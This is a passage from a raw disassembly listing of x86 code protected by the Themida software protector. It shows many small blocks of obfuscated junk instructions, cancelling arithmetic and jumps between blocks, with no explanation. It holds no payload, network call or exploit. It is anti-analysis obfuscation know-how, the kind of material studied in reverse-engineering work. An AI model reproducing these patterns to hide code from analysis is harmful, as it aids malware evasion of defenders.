loc_5A666F: ; CODE XREF: Themida_:0059E9EFj
jnp loc_5A9374
jmp loc_5A4FB6
; ---------------------------------------------------------------------------
jns loc_59EDAC
loc_5A6680: ; CODE XREF: Themida_:0059E5C4j
mov ecx, [esp]
jmp loc_5A7A2F
; ---------------------------------------------------------------------------
loc_5A6688: ; CODE XREF: Themida_:005A3B21j
add esp, 4
push 41F6h
mov [esp], edx
mov edx, 2A9C011Bh
shl edx, 8
jnp loc_59E0DE
jmp loc_5A13D6
; ---------------------------------------------------------------------------
loc_5A66A9: ; CODE XREF: Themida_:0059CB07j
mov [esp], di
mov di, 15E8h
sub [esp+4], di
pop di
add word ptr [esp+2], 3B15h
pop cx
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A66C6: ; CODE XREF: Themida_:005A0DE2j
xor [esp], edi
jmp loc_5AC791
; ---------------------------------------------------------------------------
loc_5A66CE: ; CODE XREF: Themida_:0059BFEEj
or ebx, 0D181B53h
jmp loc_5A7791
; ---------------------------------------------------------------------------
loc_5A66D9: ; CODE XREF: Themida_:005AC127j
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
sub esp, 4
mov [esp], eax
mov eax, 20AD2E00h
shr eax, 7
jns loc_5A3358
add eax, 21A53C47h
jo loc_59EF46
pop edi
loc_5A670C: ; CODE XREF: Themida_:0059F751j
rol word ptr [esp], cl
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A6716: ; CODE XREF: Themida_:0059E63Dj
jmp loc_5A1DFD
; ---------------------------------------------------------------------------
loc_5A671B: ; CODE XREF: Themida_:005A08E7j
push eax
mov eax, 52CD203Ah
xor eax, 552C3287h
and edi, eax
mov eax, [esp]
add esp, 4
shr edi, 4
not edi
push 68EDh
mov [esp], edi
not dword ptr [esp]
pop edi
dec edi
add edi, 0FFDBF005h
add edx, edi
jmp loc_5A7DB0
; ---------------------------------------------------------------------------
loc_5A6750: ; CODE XREF: Themida_:005ABF51j
mov bl, 0C5h
add al, bl
mov bx, [esp]
add esp, 2
add al, dh
sub al, 0C5h
sub al, 0BBh
add al, 4Fh
jmp loc_59CA13
; ---------------------------------------------------------------------------
loc_5A6768: ; CODE XREF: Themida_:005A30A7j
; Themida_:005ADCEBj
neg ebx
sub ebx, 318B78F0h
push esi
mov esi, 19CA2607h
dec esi
or esi, 0DB8193Bh
add esi, 56372AD5h
sub ebx, 16815B24h
add ebx, esi
jmp loc_59A108
; ---------------------------------------------------------------------------
loc_5A6790: ; CODE XREF: Themida_:005AC030j
add ecx, 2
jmp loc_59FCDA
; ---------------------------------------------------------------------------
dd 66D830ACh, 6CE95253h
db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5A67A3: ; CODE XREF: Themida_:0059A171j
shr edi, 4
sub edi, offset word_5E2AFA
jmp loc_5996E6
; ---------------------------------------------------------------------------
loc_5A67B1: ; CODE XREF: Themida_:0059F569j
add ebx, 350E23FDh
add ebx, 5C5B487Ch
jmp loc_5AF299
; ---------------------------------------------------------------------------
loc_5A67C2: ; CODE XREF: Themida_:005A4FFDj
mov [esp], eax
jmp loc_59D310
; ---------------------------------------------------------------------------
loc_5A67CA: ; CODE XREF: Themida_:005A2387j
; Themida_:005A41E8j ...
xchg edx, [esp]
mov esp, [esp]
mov [esp], esi
push edi
push esi
sub esp, 4
mov [esp], ecx
mov ecx, 759C6D12h
mov esi, ecx
pop ecx
mov edi, esi
mov esi, [esp]
add esp, 4
dec edi
jmp loc_59B02D
; ---------------------------------------------------------------------------
loc_5A67F4: ; CODE XREF: Themida_:0059DE62j
push edi
mov di, 37EDh
not di
xor di, 2D5Ch
inc di
not di
add di, 5D33h
sub di, 544Fh
sub bx, di
mov edi, [esp]
add esp, 4
mov dx, bx
jmp loc_59EE0E
; ---------------------------------------------------------------------------
loc_5A6821: ; CODE XREF: Themida_:005ACBA4j
pop eax
mov eax, [esp]
push 119Fh
mov [esp], edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_5AE333
; ---------------------------------------------------------------------------
loc_5A6843: ; CODE XREF: Themida_:0059E34Fj
jmp loc_59CB95
; ---------------------------------------------------------------------------
loc_5A6848: ; CODE XREF: Themida_:005AD8E8j
dec word ptr [esp]
pushf
jmp loc_5AE888
; ---------------------------------------------------------------------------
loc_5A6852: ; CODE XREF: Themida_:005A6B1Ej
push dword ptr [esp]
jmp loc_5A3499
; ---------------------------------------------------------------------------
loc_5A685A: ; CODE XREF: Themida_:0059E7B9j
mov ebp, ebx
pop ebx
mov ebx, 0C22F9333h
add ebx, ebp
pop ebp
add ecx, ebx
jmp loc_5A4E19
; ---------------------------------------------------------------------------
loc_5A686C: ; CODE XREF: Themida_:0059EC9Ej
sub dword ptr [esp+4], 6F405773h
pop ebx
pop ecx
push eax
mov eax, 22381755h
jmp loc_5A7811
; ---------------------------------------------------------------------------
loc_5A6881: ; CODE XREF: Themida_:005A963Bj
mov [esp], esi
mov esi, 11424521h
dec esi
jnz loc_59992B
or esi, 5E947282h
mov al, bh
mov eax, ebx
loc_5A689A: ; CODE XREF: Themida_:00599209j
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
push 6838h
mov [esp], edi
push ebp
jmp loc_5A039C
; ---------------------------------------------------------------------------
loc_5A68B5: ; CODE XREF: Themida_:loc_59ED32j
jmp loc_5A6141
; ---------------------------------------------------------------------------
loc_5A68BA: ; CODE XREF: Themida_:005A9E97j
; Themida_:005AB36Aj
pop ecx
not edi
add edi, 6E20F691h
jmp loc_5A7628
; ---------------------------------------------------------------------------
loc_5A68C8: ; CODE XREF: Themida_:005A272Aj
push ebx
jmp loc_5AC33B
; ---------------------------------------------------------------------------
loc_5A68CE: ; DATA XREF: Themida_:0059872Co
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push edx
mov edx, esp
push ecx
jmp loc_59E5AE
; ---------------------------------------------------------------------------
loc_5A68E0: ; CODE XREF: Themida_:0059E1A4j
mov ebx, [esp]
jmp loc_5AA717
; ---------------------------------------------------------------------------
loc_5A68E8: ; CODE XREF: Themida_:005A4E99j
xchg ebx, [esp]
pop esp
jmp loc_59D9FC
; ---------------------------------------------------------------------------
loc_5A68F1: ; CODE XREF: Themida_:0059E5A9j
push ecx
mov ecx, 4
add edi, ecx
pop ecx
push esi
push ebp
jmp loc_5A7EFC
; ---------------------------------------------------------------------------
loc_5A6901: ; CODE XREF: Themida_:0059ED53j
sub cl, dl
push ebx
mov bh, 0C3h
add cl, bh
jmp loc_59AA08
; ---------------------------------------------------------------------------
loc_5A690D: ; CODE XREF: Themida_:005A1FE0j
jmp loc_5A09F8
; ---------------------------------------------------------------------------
loc_5A6912: ; CODE XREF: Themida_:005A0495j
push esp
jmp loc_5A4731
; ---------------------------------------------------------------------------
loc_5A6918: ; CODE XREF: Themida_:0059E255j
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A691D: ; CODE XREF: Themida_:00599622j
push edx
jmp loc_5A4A5B
; ---------------------------------------------------------------------------
loc_5A6923: ; CODE XREF: Themida_:005AFAE8j
xchg ebp, ecx
dec ebp
xchg ebp, ecx
jmp loc_59D570
; ---------------------------------------------------------------------------
loc_5A692D: ; CODE XREF: Themida_:005AEDC4j
push ecx
mov ecx, esp
add ecx, 4
jmp loc_5ADDFA
; ---------------------------------------------------------------------------
loc_5A693B: ; CODE XREF: Themida_:005A220Ej
push ecx
mov ecx, 4E77E6Eh
jmp loc_5A9BD6
; ---------------------------------------------------------------------------
mov ax, [esp]
push edi
mov edi, esp
jmp loc_598BB3
; ---------------------------------------------------------------------------
loc_5A6952: ; CODE XREF: Themida_:005AA9F0j
push dword ptr [esp+4]
jmp loc_5AE4D4
; ---------------------------------------------------------------------------
loc_5A695B: ; CODE XREF: Themida_:0059B688j
add ebp, 0ED6EE518h
jmp loc_59D508
; ---------------------------------------------------------------------------
loc_5A6966: ; CODE XREF: Themida_:0059FC19j
pop esi
pop dword ptr [esp]
mov esp, [esp]
push dword ptr [esp]
push dword ptr [esp]
pop edx
push edx
push esp
pop edx
push 42EBh
jmp loc_5A8406
; ---------------------------------------------------------------------------
loc_5A6981: ; CODE XREF: Themida_:0059B1C9j
pop edi
pop dword ptr [esp]
pop esp
mov [esp], ebp
jmp loc_5A610E
; ---------------------------------------------------------------------------
loc_5A698E: ; CODE XREF: Themida_:0059D057j
push eax
mov eax, esp
add eax, 4
sub esp, 4
mov [esp], ebx
mov ebx, 4
add eax, ebx
mov ebx, [esp]
jmp loc_5A7284
; ---------------------------------------------------------------------------
loc_5A69AE: ; CODE XREF: Themida_:005A8CADj
add esp, 4
jmp loc_5A43B8
; ---------------------------------------------------------------------------
loc_5A69B9: ; CODE XREF: Themida_:005997D6j
; Themida_:005A1EACj
add edi, 1
push edx
mov edx, 25BE3C5Ch
xor edi, edx
pop edx
add edi, 5C627568h
xor edi, 0D4647EC1h
push ebp
mov ebp, 38364848h
jmp loc_5ABD21
; ---------------------------------------------------------------------------
loc_5A69DC: ; DATA XREF: Themida_:00598854o
lodsd
xor eax, ebx
push ecx
sub esp, 4
jmp loc_59EEBB
; ---------------------------------------------------------------------------
loc_5A69EB: ; CODE XREF: Themida_:005A0DC7j
sub ch, 16h
jmp loc_5A1243
; ---------------------------------------------------------------------------
loc_5A69F3: ; CODE XREF: Themida_:0059D653j
mov [esp], esi
jmp loc_5A205D
; ---------------------------------------------------------------------------
loc_5A69FB: ; DATA XREF: Themida_:005987B0o
mov cx, [esp]
jmp loc_5A60DD
; ---------------------------------------------------------------------------
loc_5A6A04: ; CODE XREF: Themida_:0059C1E2j
push ebp
jmp loc_5A576A
; ---------------------------------------------------------------------------
loc_5A6A0A: ; CODE XREF: Themida_:0059C138j
mov ecx, 640E47F2h
not ecx
or ecx, 0DC036E5h
jnb loc_59C7D3
and ecx, 0BA5305Dh
mov esi, ecx
mov ch, al
loc_5A6A27: ; CODE XREF: Themida_:005A3CC7j
add edx, 3E454F5h
add edx, eax
sub edx, 3E454F5h
add edx, 5A746C19h
mov eax, [esp]
add esp, 4
add edx, 4
push 3007h
mov [esp], edx
jmp loc_5AC864
; ---------------------------------------------------------------------------
loc_5A6A54: ; CODE XREF: Themida_:005A7876j
mov eax, 0D3C53FEh
add edi, eax
pop eax
pop ebx
jmp loc_5A77B1
; ---------------------------------------------------------------------------
loc_5A6A62: ; DATA XREF: Themida_:00598748o
mov ax, [esp]
push ebp
jmp loc_5A40E7
; ---------------------------------------------------------------------------
loc_5A6A6C: ; CODE XREF: Themida_:005A9F15j
xchg edx, [esp]
jmp loc_5A57E2
; ---------------------------------------------------------------------------
loc_5A6A74: ; CODE XREF: Themida_:005A469Cj
; Themida_:005A7C27j
pop ebx
mov ebx, eax
jmp loc_59F731
; ---------------------------------------------------------------------------
loc_5A6A7C: ; CODE XREF: Themida_:005AB4D5j
; Themida_:005AC04Aj
push 4B22h
mov [esp], ebp
mov ebp, ebx
jmp loc_599DF7
; ---------------------------------------------------------------------------
loc_5A6A8B: ; CODE XREF: Themida_:005A1C06j
mov [esp], esi
mov esi, 77AE7E3Dh
jmp loc_598BD9
; ---------------------------------------------------------------------------
loc_5A6A98: ; CODE XREF: Themida_:loc_59BF00j
xor edx, 26F662E8h
sub edx, 0E75A2484h
push ebp
mov ebp, edx
mov ebx, ebp
jmp loc_5A1943
; ---------------------------------------------------------------------------
loc_5A6AAE: ; CODE XREF: Themida_:005A47B1j
push ecx
push dword ptr [esp]
pop edx
add esp, 4
pop ecx
push ecx
jmp loc_5A5252
; ---------------------------------------------------------------------------
loc_5A6AC0: ; CODE XREF: Themida_:005ABC94j
push eax
mov eax, 2E23690Ch
shl eax, 8
jnp loc_59F2FF
sub eax, 0C85A3Bh
jz loc_5AD65B
shr eax, 4
add eax, 54140BB8h
inc eax
jl loc_5A30FF
push edi
mov edi, 0D9F9135Bh
jmp loc_5A4C75
; ---------------------------------------------------------------------------
loc_5A6AF4: ; CODE XREF: Themida_:005A7B9Fj
mov edi, [esp]
add esp, 4
push 0
sub [esp], eax
mov eax, [esp]
add esp, 4
or eax, 6A0F32A5h
dec eax
not eax
jmp loc_5A577D
; ---------------------------------------------------------------------------
loc_5A6B15: ; CODE XREF: Themida_:005A55CFj
push eax
push ebx
jmp loc_5A6BFA
; ---------------------------------------------------------------------------
loc_5A6B1C: ; CODE XREF: Themida_:0059CE2Fj
and eax, ebp
jmp loc_5A6852
; ---------------------------------------------------------------------------
loc_5A6B23: ; CODE XREF: Themida_:0059A41Ej
mov [esp], eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_5AB8C5
; ---------------------------------------------------------------------------
loc_5A6B3B: ; CODE XREF: Themida_:005AAC3Ej
mov eax, esp
add eax, 4
add eax, 4
jmp loc_59EDDE
; ---------------------------------------------------------------------------
loc_5A6B4A: ; CODE XREF: Themida_:0059CA9Bj
add eax, 4
xchg eax, [esp]
jmp loc_5ACE83
; ---------------------------------------------------------------------------
loc_5A6B55: ; CODE XREF: Themida_:005A8DE0j
pop ecx
jmp loc_59C8DF
; ---------------------------------------------------------------------------
loc_5A6B5B: ; CODE XREF: Themida_:005A5A40j
xor esi, 1C2DD62Ch
add ecx, esi
pop esi
sub esi, ecx
pop ecx
sub ebp, esi
pop esi
sub esi, 4443412Bh
add esi, ebp
add esi, 4443412Bh
mov ebp, [esp]
add esp, 4
add esi, 4
jmp loc_5ACFEB
; ---------------------------------------------------------------------------
loc_5A6B89: ; CODE XREF: Themida_:00599ED3j
xchg eax, [esp]
mov esp, [esp]
jmp loc_5AB0E0
; ---------------------------------------------------------------------------
loc_5A6B94: ; CODE XREF: Themida_:005AA0EDj
mov ebx, 15FD3761h
sub edi, ebx
pop ebx
jmp loc_5A634E
; ---------------------------------------------------------------------------
loc_5A6BA1: ; CODE XREF: Themida_:0059D21Fj
add esp, 4
add edi, edx
push ebp
jmp loc_5A98CE
; ---------------------------------------------------------------------------
loc_5A6BAF: ; CODE XREF: Themida_:0059ACDBj
pop eax
jmp loc_5A13EE
; ---------------------------------------------------------------------------
loc_5A6BB5: ; CODE XREF: Themida_:005A6E42j
push dword ptr [esp]
mov edx, [esp]
push ecx
jmp loc_59C499
; ---------------------------------------------------------------------------
loc_5A6BC1: ; CODE XREF: Themida_:005AC301j
pop esp
add ebx, 2
xor ebx, [esp]
jmp loc_5A24EB
; ---------------------------------------------------------------------------
loc_5A6BCD: ; CODE XREF: Themida_:005AA347j
pop eax
add ebp, 7CC86C23h
shl ebp, 4
jmp loc_5A8F0C
; ---------------------------------------------------------------------------
loc_5A6BDC: ; CODE XREF: Themida_:005A4EC9j
; Themida_:005A5181j
jmp loc_5AEECD
; ---------------------------------------------------------------------------
loc_5A6BE1: ; CODE XREF: Themida_:0059F8CBj
sub bl, al
pop eax
push ecx
mov cl, 7Fh
push edx
mov dl, 8Bh
sub dl, 78h
not dl
sub dl, 0DDh
add dl, 6
jmp loc_59F89E
; ---------------------------------------------------------------------------
loc_5A6BFA: ; CODE XREF: Themida_:005A6B17j
mov ebx, 5FFC6A8Bh
add ebx, 0A0039579h
mov eax, ebx
pop ebx
add edi, eax
pop eax
xchg edi, [esp]
mov esp, [esp]
mov esi, [esp]
sub esp, 4
mov [esp], ecx
jmp loc_59E44B
; ---------------------------------------------------------------------------
loc_5A6C1F: ; CODE XREF: Themida_:00598DA1j
neg eax
jp loc_5AE535
push 45F6h
mov [esp], edx
push ebp
mov ch, bl
mov bh, 0C7h
loc_5A6C34: ; CODE XREF: Themida_:005A4C5Bj
shr edi, 1
not edi
push ebp
mov ebp, 9B60971h
not ebp
inc ebp
or ebp, 1AFA33C7h
sub ebp, 0DF708685h
xor edi, ebp
jmp loc_5A3590
; ---------------------------------------------------------------------------
loc_5A6C54: ; CODE XREF: Themida_:005A7C15j
add dword ptr [esp], 4
pop edi
jmp loc_5AAEEE
; ---------------------------------------------------------------------------
loc_5A6C5E: ; CODE XREF: Themida_:005ABFBAj
xor eax, edx
push dword ptr [esp]
pop edx
push ebp
mov ebp, esp
push esi
mov esi, 4
add ebp, esi
jmp loc_59CD89
; ---------------------------------------------------------------------------
loc_5A6C74: ; CODE XREF: Themida_:005AC915j
pop small word ptr [edx]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A6C7C: ; CODE XREF: Themida_:005A4874j
sub esi, 77FC08A7h
pop ebp
xor esi, [esp]
xor [esp], esi
jmp loc_5A4550
; ---------------------------------------------------------------------------
loc_5A6C8E: ; CODE XREF: Themida_:005A893Dj
sub cl, 0FFh
jmp loc_5A4D3D
; ---------------------------------------------------------------------------
loc_5A6C96: ; CODE XREF: Themida_:005AF038j
mov ebx, edx
pop edx
mov edi, ebx
jmp loc_59B121
; ---------------------------------------------------------------------------
loc_5A6CA0: ; CODE XREF: Themida_:005A0135j
mov edx, 0BE35D3Bh
sub edx, 5A0A445Ch
add edx, 0BFD8230Dh
add ecx, edx
pop edx
not ecx
push esi
mov esi, 0C9D84514h
jmp loc_5AF62C
; ---------------------------------------------------------------------------
loc_5A6CC1: ; CODE XREF: Themida_:005A71E4j
sub ecx, ebp
sub ecx, 126D6930h
pop ebp
push ebx
mov ebx, 5F9517D7h
add [esp+8], ebx
pop ebx
add [esp+4], ecx
sub dword ptr [esp+4], 5F9517D7h
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A6CF3: ; CODE XREF: Themida_:005AFC3Fj
mov ebp, 4E976F68h
jmp loc_5A2790
; ---------------------------------------------------------------------------
loc_5A6CFD: ; CODE XREF: Themida_:005A798Ej
pop edx
pop dword ptr [esp]
pop esp
shl dword ptr [esp], cl
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5A6D0B: ; CODE XREF: Themida_:0059D127j
xor eax, 37F426AFh
js loc_5A3B9F
not eax
shr eax, 5
jz loc_5A51E2
jmp loc_5AC3C9
; ---------------------------------------------------------------------------
loc_5A6D26: ; CODE XREF: Themida_:005A229Fj
xor ecx, 0CB4AF8DCh
or ebp, ecx
jmp loc_5A64D7
; ---------------------------------------------------------------------------
loc_5A6D33: ; CODE XREF: Themida_:005AF598j
push dword ptr [esp]
jmp loc_5A8BA9
; ---------------------------------------------------------------------------
loc_5A6D3B: ; CODE XREF: Themida_:005AD384j
sub edi, 5BFE35E0h
add edi, ebp
jmp loc_5A45C2
; ---------------------------------------------------------------------------
loc_5A6D48: ; CODE XREF: Themida_:005A88F6j
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push dword ptr [esp]
push dword ptr [esp]
mov edx, [esp]
jmp loc_59AD80
; ---------------------------------------------------------------------------
loc_5A6D62: ; CODE XREF: Themida_:005A14FAj
mov [esp], ebx
mov bl, 8
push small 2A07h
mov [esp], dx
push 4E5h
mov [esp], ecx
jmp loc_5A126A
; ---------------------------------------------------------------------------
loc_5A6D7C: ; CODE XREF: Themida_:005AE0E2j
pop eax
add eax, 4
jmp loc_599A05
; ---------------------------------------------------------------------------
loc_5A6D87: ; CODE XREF: Themida_:0059E536j
mov edx, 4
jmp loc_5992E1
; ---------------------------------------------------------------------------
loc_5A6D91: ; CODE XREF: Themida_:005A9F45j
add esp, 4
push 6AA0h
mov [esp], ebp
push esp
mov ebp, [esp]
jmp loc_59BB5C
; ---------------------------------------------------------------------------
loc_5A6DA5: ; CODE XREF: Themida_:005AF056j
add al, 56h
pop ebx
push 209Ah
mov [esp], ecx
push ebx
mov bl, 77h
dec bl
push ecx
mov cl, 0C8h
add cl, 0DFh
sub bl, cl
jmp loc_5AAB69
; ---------------------------------------------------------------------------
loc_5A6DC2: ; CODE XREF: Themida_:005AA150j
add eax, 0B371528h
mov esi, eax
pop eax
add eax, esi
pop esi
xor eax, 22EB381Ah
push ebp
mov ebp, 0FD151533h
add eax, ebp
pop ebp
jmp loc_59D47A
; ---------------------------------------------------------------------------
loc_5A6DE0: ; CODE XREF: Themida_:0059FCC3j
xchg ebx, [esp]
jmp loc_5A3DB9
; ---------------------------------------------------------------------------
loc_5A6DE8: ; CODE XREF: Themida_:005AF0DEj
sub eax, 8CA1CA5h
sub eax, ebp
add eax, 8CA1CA5h
sub eax, 46ED1A0Ah
push edx
jmp loc_59B296
; ---------------------------------------------------------------------------
loc_5A6DFF: ; CODE XREF: Themida_:0059F546j
pop ebx
pop eax
sub al, 8Ch
sub al, dl
add al, 8Ch
mov dx, [esp]
jmp loc_59D26A
; ---------------------------------------------------------------------------
loc_5A6E10: ; CODE XREF: Themida_:005A5DC4j
mov [esp], edx
sub esp, 4
mov [esp], ecx
mov ecx, 45EB5901h
shr ecx, 7
jns loc_5A47AB
add ecx, 0FF742950h
jmp loc_59F10B
; ---------------------------------------------------------------------------
mov [esp], ebx
loc_5A6E38: ; CODE XREF: Themida_:005AF926j
pop ecx
sub edx, ecx
pop ecx
mov dword ptr [edx], 0
jmp loc_5A6BB5
; ---------------------------------------------------------------------------
loc_5A6E47: ; CODE XREF: Themida_:005AEBD9j
push 3035h
mov [esp], ebx
mov ebx, 4
sub ecx, 0E126966h
add ecx, ebx
push edi
mov edi, 25316A7Dh
jmp loc_59FAA8
; ---------------------------------------------------------------------------
loc_5A6E67: ; CODE XREF: Themida_:0059BB74j
; Themida_:0059D031j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_59D48D
; ---------------------------------------------------------------------------
loc_5A6E75: ; CODE XREF: Themida_:005AE21Bj
mov ecx, 2
jmp loc_5A2BAD
; ---------------------------------------------------------------------------
loc_5A6E7F: ; CODE XREF: Themida_:005A2458j
sub edx, ebp
pop ebp
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
mov [esp], esi
push ebx
mov ebx, 2
mov esi, ebx
pop ebx
push ebx
mov ebx, 501779Fh
sub edi, ebx
pop ebx
add edi, esi
add edi, 501779Fh
push dword ptr [esp]
mov esi, [esp]
add esp, 4
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_59902E
; ---------------------------------------------------------------------------
loc_5A6EC6: ; CODE XREF: Themida_:005AD4C6j
push ecx
mov cl, 0A5h
jmp loc_5A2ADC
; ---------------------------------------------------------------------------
loc_5A6ECE: ; CODE XREF: Themida_:005A571Aj
sub ecx, 4CCE070Ch
push 2
mov [esp], ecx
xor dword ptr [esp], 6E482D66h
push dword ptr [esp]
pop esi
jmp loc_59DFFE
; ---------------------------------------------------------------------------
loc_5A6EEC: ; CODE XREF: Themida_:0059A9CCj
push esi
jmp loc_5AB1C5
; ---------------------------------------------------------------------------
loc_5A6EF2: ; CODE XREF: Themida_:0059E590j
xchg ebp, [esp]
pop esp
jmp loc_5A0439
; ---------------------------------------------------------------------------
loc_5A6EFB: ; CODE XREF: Themida_:0059DD70j
add esp, 4
add ebx, 14771A77h
add ebx, 12E5514Eh
jmp loc_5A3128
; ---------------------------------------------------------------------------
loc_5A6F0F: ; CODE XREF: Themida_:005ABA0Ej
xor eax, ecx
push ebp
mov ebp, esp
add ebp, 4
jmp loc_59E58D
; ---------------------------------------------------------------------------
loc_5A6F1F: ; CODE XREF: Themida_:0059D104j
sub ebp, 6FFFBFA7h
push ebp
sub dword ptr [esp], 0EB50E4h
jmp loc_59AEF2
; ---------------------------------------------------------------------------
loc_5A6F32: ; DATA XREF: Themida_:005987D4o
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push ebp
jmp loc_59C64C
; ---------------------------------------------------------------------------
loc_5A6F42: ; CODE XREF: Themida_:005A8BE5j
add ebx, 662674F9h
xor ebx, 0E1DB7EFDh
push ebx
jmp loc_5AF6E3
; ---------------------------------------------------------------------------
loc_5A6F54: ; CODE XREF: Themida_:005AA2C5j
push ebp
push 10000h
pop ebp
and eax, ebp
push dword ptr [esp]
pop ebp
jmp loc_5AD95D
; ---------------------------------------------------------------------------
loc_5A6F66: ; CODE XREF: Themida_:loc_5ABCA9j
jmp loc_5A2147
; ---------------------------------------------------------------------------
loc_5A6F6B: ; CODE XREF: Themida_:0059DF63j
push 1C06h
mov [esp], esi
push edx
mov edx, 381B0598h
sub edx, 20948FAAh
shr edx, 8
jmp loc_59C2FC
; ---------------------------------------------------------------------------
loc_5A6F87: ; CODE XREF: Themida_:005A033Fj
add eax, edx
jmp loc_59EAD2
; ---------------------------------------------------------------------------
loc_5A6F8E: ; CODE XREF: Themida_:0059BA59j
shr eax, 5
push edi
jmp loc_5A9A6E
; ---------------------------------------------------------------------------
loc_5A6F97: ; CODE XREF: Themida_:005AAA10j
mov ecx, 4
sub dword ptr [esp+4], 4F413D9Eh
add [esp+4], ecx
add dword ptr [esp+4], 4F413D9Eh
mov ecx, [esp]
add esp, 4
pop ecx
add ecx, 4
sub esp, 4
jmp loc_5A1B95
; ---------------------------------------------------------------------------
loc_5A6FC8: ; CODE XREF: Themida_:005AF366j
add ebx, 3B5B5C97h
jmp loc_5A9A0B
; ---------------------------------------------------------------------------
loc_5A6FD3: ; CODE XREF: Themida_:loc_5AEED4j
and ebp, 3EF015ADh
jg loc_5AAD25
sub ebp, 0BC0DFA67h
or ebp, 94D415Bh
mov dh, al
pop ebx
loc_5A6FEE: ; CODE XREF: Themida_:005A965Ej
sub eax, 70D81638h
mov ebp, [esp]
jmp loc_5AADCD
; ---------------------------------------------------------------------------
loc_5A6FFB: ; CODE XREF: Themida_:0059DEFDj
push 7CD2h
mov [esp], esp
add dword ptr [esp], 4
pop esi
add esi, 4
push ebx
push eax
mov eax, 67F47844h
push edx
mov edx, 0A9F70109h
mov ebx, edx
pop edx
add ebx, eax
pop eax
or ebx, 9587CD0h
xor ebx, 19FB7DD9h
add esi, ebx
jmp loc_59EAEE
; ---------------------------------------------------------------------------
loc_5A7034: ; CODE XREF: Themida_:005A015Dj
add ebp, eax
pop eax
sub ebp, 5FAD6324h
push ebp
jmp loc_5AC27C
; ---------------------------------------------------------------------------
loc_5A7043: ; CODE XREF: Themida_:005A73C9j
pop ebp
pop ebp
xor ebx, [esp]
xor [esp], ebx
jmp loc_59D78E
; ---------------------------------------------------------------------------
loc_5A7050: ; CODE XREF: Themida_:005AEE23j
add dh, 68h
pop ecx
sub bl, dh
pop edx
push eax
mov ah, bl
mov ch, ah
pop eax
jmp loc_5A9CBC
; ---------------------------------------------------------------------------
loc_5A7062: ; CODE XREF: Themida_:00598F07j
; Themida_:005A3064j
push ebx
jmp loc_5AD90C
; ---------------------------------------------------------------------------
loc_5A7068: ; CODE XREF: Themida_:005ADD88j
push edx
push edi
jmp loc_59A4C3
; ---------------------------------------------------------------------------
loc_5A706F: ; CODE XREF: Themida_:005AEBBFj
sub ecx, 35736CDBh
or ecx, 33841DC9h
add ecx, 5B0D6DA4h
add eax, 7D9D2B89h
add eax, 13986426h
sub eax, ecx
sub eax, 13986426h
sub eax, 7D9D2B89h
pop ecx
push ebx
jmp loc_5AF0AF
; ---------------------------------------------------------------------------
loc_5A709E: ; CODE XREF: Themida_:005A61B4j
not ecx
push edi
jmp loc_5A9AAC
; ---------------------------------------------------------------------------
loc_5A70A6: ; CODE XREF: Themida_:005AFB70j
mov dh, ch
jmp loc_5AC489
; ---------------------------------------------------------------------------
loc_5A70AD: ; CODE XREF: Themida_:005993A3j
sub al, cl
pop cx
sub bl, al
mov eax, [esp]
add esp, 4
push 1DC2h
mov [esp], edx
push ecx
jmp loc_5A65D3
; ---------------------------------------------------------------------------
loc_5A70C7: ; CODE XREF: Themida_:loc_59FA4Aj
not ebp
and ebp, 702421ABh
jmp loc_59F969
; ---------------------------------------------------------------------------
loc_5A70D4: ; CODE XREF: Themida_:005A37C7j
add edx, 0B0B5E0E3h
jmp loc_5A3739
; ---------------------------------------------------------------------------
loc_5A70DF: ; CODE XREF: Themida_:005A95C5j
dec eax
shl eax, 6
jmp loc_59DFA9
; ---------------------------------------------------------------------------
loc_5A70E8: ; CODE XREF: Themida_:005A293Cj
push edx
jmp loc_5AED5A
; ---------------------------------------------------------------------------
loc_5A70EE: ; CODE XREF: Themida_:005A10DAj
add esp, 4
sub eax, 6F210CF2h
sub eax, 3DA24328h
add eax, edi
add eax, 3DA24328h
add eax, 6F210CF2h
mov edi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push esi
sub esp, 4
mov [esp], edx
mov edx, 5B091D73h
mov esi, edx
mov edx, [esp]
add esp, 4
add esi, 0FFFFFFFFh
not esi
inc esi
jmp loc_59BCB6
; ---------------------------------------------------------------------------
loc_5A7139: ; CODE XREF: Themida_:005A643Cj
; Themida_:005ADE24j
pop esp
and edx, 64A41D1Fh
push ebp
push ebx
mov ebx, 647E6679h
sub ebx, 5DD329BFh
jmp loc_5AA00F
; ---------------------------------------------------------------------------
loc_5A7152: ; CODE XREF: Themida_:005A560Aj
pop esp
mov [esp], esi
jmp loc_59DA72
; ---------------------------------------------------------------------------
loc_5A715B: ; CODE XREF: Themida_:005A7581j
mov eax, ebx
pop ebx
xor eax, 4E347FA9h
jns loc_5A08A8
jmp loc_59F0EE
; ---------------------------------------------------------------------------
jmp loc_59DF26
; ---------------------------------------------------------------------------
mov al, dh
loc_5A7175: ; CODE XREF: Themida_:005AB7E1j
pop eax
sub al, cl
pop cx
add al, 66h
sub al, bl
sub al, 66h
push dx
push ebx
push eax
jmp loc_5A7FF7
; ---------------------------------------------------------------------------
loc_5A7189: ; CODE XREF: Themida_:005A998Fj
movzx ecx, al
push 2052h
mov [esp], edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edx
push 0C2Dh
jmp loc_5AF7F7
; ---------------------------------------------------------------------------
loc_5A71AC: ; CODE XREF: Themida_:00599665j
xor edx, [esp]
mov esp, [esp]
push 5C50h
mov [esp], ecx
push ebx
